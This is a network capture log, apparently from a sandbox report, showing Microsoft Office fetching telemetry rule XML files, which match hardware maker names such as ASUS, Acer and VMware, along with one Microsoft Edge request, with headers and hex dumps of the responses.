2024-11-12 05:23:23 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.5	49750	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:23 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:23 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:23 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 52c466ac-c01e-007a-7901-2db877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052323Z-16547b76f7fj5p7mhC1DFWf8w40000000fag000000006xzk x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 05:23:23 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.5	49753	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:23 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:23 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:23 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: 2d6c1d79-401e-0067-58a0-3409c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052323Z-15869dbbcc6hgzkhhC1DFWgtqs00000006qg000000002uk3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 05:23:23 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.5	49763	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:24 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:24 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:24 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 6bd3c087-001e-000b-13fd-2c15a7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052324Z-16547b76f7fx6rhxhC1DFW76kg0000000f90000000000dwz x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 05:23:24 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.5	49765	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:24 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:24 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:24 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: a295cb8f-e01e-003c-1ba3-34c70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052324Z-15869dbbcc6sg5zbhC1DFWy5u80000000760000000007h0d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 05:23:24 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.5	49756	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:24 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:24 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:24 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 88f0aa43-e01e-0033-32a0-344695000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052324Z-15869dbbcc6xcpf8hC1DFWxtx00000000kpg000000002e34 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 05:23:24 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.5	49762	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:24 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:24 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:24 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 87935f62-301e-0033-36a7-34fa9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052324Z-17df447cdb5lrwcchC1DFWphes0000000beg00000000mkxn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 05:23:24 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	49759	94.245.104.56	443	7728	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:24 UTC	428	OUT	GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1 Host: api.edgeoffer.microsoft.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-12 05:23:25 UTC	725	IN	HTTP/1.1 200 OK Content-Length: 0 Connection: close Content-Type: application/x-protobuf; charset=utf-8 Date: Tue, 12 Nov 2024 05:23:24 GMT Server: Microsoft-IIS/10.0 Set-Cookie: ARRAffinity=44bf434ab6f7c0830d46be44706778b10a42312d4a4ae9076c4e359fcb4c5775;Path=/;HttpOnly;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinity=8b656f4ecf6270dbe9097aac1834960f61903fdb6f6ce3be7cbc242f17e7233a;Path=/;HttpOnly;Secure;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinitySameSite=8b656f4ecf6270dbe9097aac1834960f61903fdb6f6ce3be7cbc242f17e7233a;Path=/;HttpOnly;SameSite=None;Secure;Domain=api.edgeoffer.microsoft.com Request-Context: appId=cid-v1:48af8e22-9427-456d-9a55-67a1e42a1bd9 X-Powered-By: ASP.NET

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.5	49764	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:24 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:25 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:25 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 63ea3643-901e-0015-3101-2db284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052325Z-16547b76f7f22sh5hC1DFWyb4w0000000f50000000005kcx x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 05:23:25 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.5	49770	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:26 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:26 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:26 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 5dc315bb-301e-0096-66a5-34e71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052326Z-15869dbbcc662ldwhC1DFWh4e000000005qg000000003fwx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 05:23:26 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.5	49771	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:26 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:26 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:26 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 75035ba1-b01e-005c-42fb-2c4c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052326Z-16547b76f7f76p6chC1DFWctqw0000000fcg000000001f3f x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 05:23:26 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.5	49774	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:26 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:26 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:26 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 75018b07-801e-00a0-22a6-342196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052326Z-15869dbbcc6b2ncxhC1DFWuw0400000000xg00000000e8dp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 05:23:26 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.5	49772	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:26 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:26 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:26 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 7dbe6cd5-601e-00ab-1ca2-3466f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052326Z-17df447cdb5jg4kthC1DFWux4n0000000bf000000000cr46 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
